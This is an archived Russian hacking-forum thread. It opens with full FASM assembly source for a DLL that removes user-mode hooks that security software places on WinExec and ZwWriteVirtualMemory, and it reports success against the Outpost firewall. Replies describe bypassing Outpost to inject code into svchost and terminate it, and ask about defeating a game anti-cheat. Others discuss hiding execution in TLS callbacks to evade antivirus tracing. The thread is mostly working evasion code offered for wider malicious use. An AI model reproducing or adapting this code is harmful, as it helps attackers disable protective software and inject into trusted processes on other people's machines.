PDA

Просмотр полной версии : Dll для снятия хуков третьего кольца


hidden
15.04.2007, 11:06
Очень простой пример снятия хуков третьего кольца, с использованием DLL

Язык: Ассемблере(fasm (http://flatassembler.net/)).
Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
Код DLL:format PE GUI 4.0 DLL
entry DllEntryPoint

include 'win32a.inc'

section '.code' code readable executable

proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
mov edi, buffer

stdcall BackUpProc, WinExec
stdcall BackUpProc, ZwProtectVirtualMemory
stdcall BackUpProc, ZwWriteVirtualMemory

mov eax, TRUE
ret
endp

proc BackUpProc uses esi ecx ebx, Original
mov ebx, [Original]
push edi
mov edi, [ebx]

mov al, 0x90 ; Getting proc size by first nop
xor ecx, ecx
mov cl, -1
repne scasb
jne .Error
not cl

add ecx, 3
shr ecx, 2

pop edi

mov esi, [ebx]
mov [ebx], edi

mov eax, ecx
stosd
mov eax, esi
stosd

lea ebx, [ecx*4]
rep movsd

invoke VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
.Error:
ret
endp

proc RestoreAll
stdcall RestoreProc, ZwProtectVirtualMemory
stdcall RestoreProc, ZwWriteVirtualMemory
stdcall RestoreProc, WinExec
ret
endp

proc RestoreProc uses esi, Backup
mov esi, [Backup]
mov esi, [esi]
mov ecx, [esi]
mov edi, [esi+4]
add esi, 8
rep movsd
ret
endp

section '.idata' import data readable writeable

library ntdll,'NTDLL.DLL',\
kernel,'KERNEL32.DLL',\
user,'USER32.DLL'

import ntdll,\
ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
ZwWriteVirtualMemory,'ZwWriteVirtualMemory'

import kernel,\
WinExec,'WinExec',\
VirtualProtect,'VirtualProtect'

section '.edata' export data readable

export 'UNHOOK.DLL',\
RestoreAll,'RestoreAll'

section '.resto' data readable writable

buffer rd 1024 ; 1 page
tmp dd ?

section '.reloc' fixups data discardable
Код примера вызова:format PE GUI 4.0
entry start

include 'win32a.inc'

section '.code' code readable executable

start:
invoke MessageBoxA, 0, msg, tit, MB_YESNO

cmp eax, IDYES
jne .dont_restore
call [RestoreAll]
.dont_restore:

invoke WinExec, cmd, SW_SHOW
invoke ExitProcess, 0

cmd db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
msg db 'Do you realy wonna take all the hooks off?', 0
tit db 'Do take it off?', 0

section '.idata' import data readable writeable

library kernel,'KERNEL32.DLL',\
user,'USER32.DLL',\
unhook,'UNHOOK.DLL'

import kernel,\
ExitProcess,'ExitProcess',\
WinExec,'WinExec'

import user,\
MessageBoxA,'MessageBoxA'

import unhook,\
RestoreAll,'RestoreAll'

xxx dd ?
yyy dd ?
Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...

_Great_
15.04.2007, 13:06
Молодец, конечно.
ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.

taha
15.04.2007, 17:46
Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место.
ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS

gevara
15.04.2007, 19:28
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс.

лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.

KEZ
15.04.2007, 23:06
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье

hidden
15.04.2007, 23:34
аутпост ставит хук на звВрайтвиртуалмемори через Sdt в нулевом колцьеЭто тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.

1ten0.0net1
16.04.2007, 01:53
Ужос, млин! Либо мне надо срочно начинать учить хуки всякие либо ппц - совесть моя меня съест (

gevara
16.04.2007, 12:33
все верно и красиво расписано. но истину мне это не открыло.
стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

>>
хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье

Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.

roleg
09.03.2009, 13:18
Вернемся к теме :) вот античит для линейки который ставит хуки на CreateThead.
shieldConsole (http://multi-up.com/65943)
Как их снять воспользовавшись данным методом?

За помощь +++++ )

ProTeuS
09.03.2009, 16:53
для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема
а, вообще, тебе в раздел реверсинга...

Flame of Soul
09.03.2009, 20:59
Я так поняла, что на основе того, что специальное поле в PE-заголовке, хранящее относительный RVA Entry Point (точки входа) выполняется не первой, а последней.

лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.

вот тут я немного не поняла, ты восстанавливал затертые байты, и прыжка на либу не происходило или ты вызывал "анхук". Поточнее пожалуйста, можно в ПМ.

С таким же успехом можно было запихнуть бэкапщик в TLS
Лучше засунуть в точку входа безобидный код, а из TLS совершить переход. TLS просто добавит какое-то значение к некоторой ячейке памяти, в пределах области стека, а потом вернет управление системе. Таким образом можно в отладчике тонны инструкций перерыть или дождаться момента передачи управления на точку входа или хотя бы область памяти, не принадлежащую системе, но в границах PE-файла или одной из dll. И тогда можно заметить что Entry Point не получает управления! А аверы не могут трассировать код, исполняющийся на живой ОС. Так как они понятия не имеют что находится в данной конкретной ячейке памяти.

В общем да, можно фантазировать сколько влезет ) hidden Спасибо за код.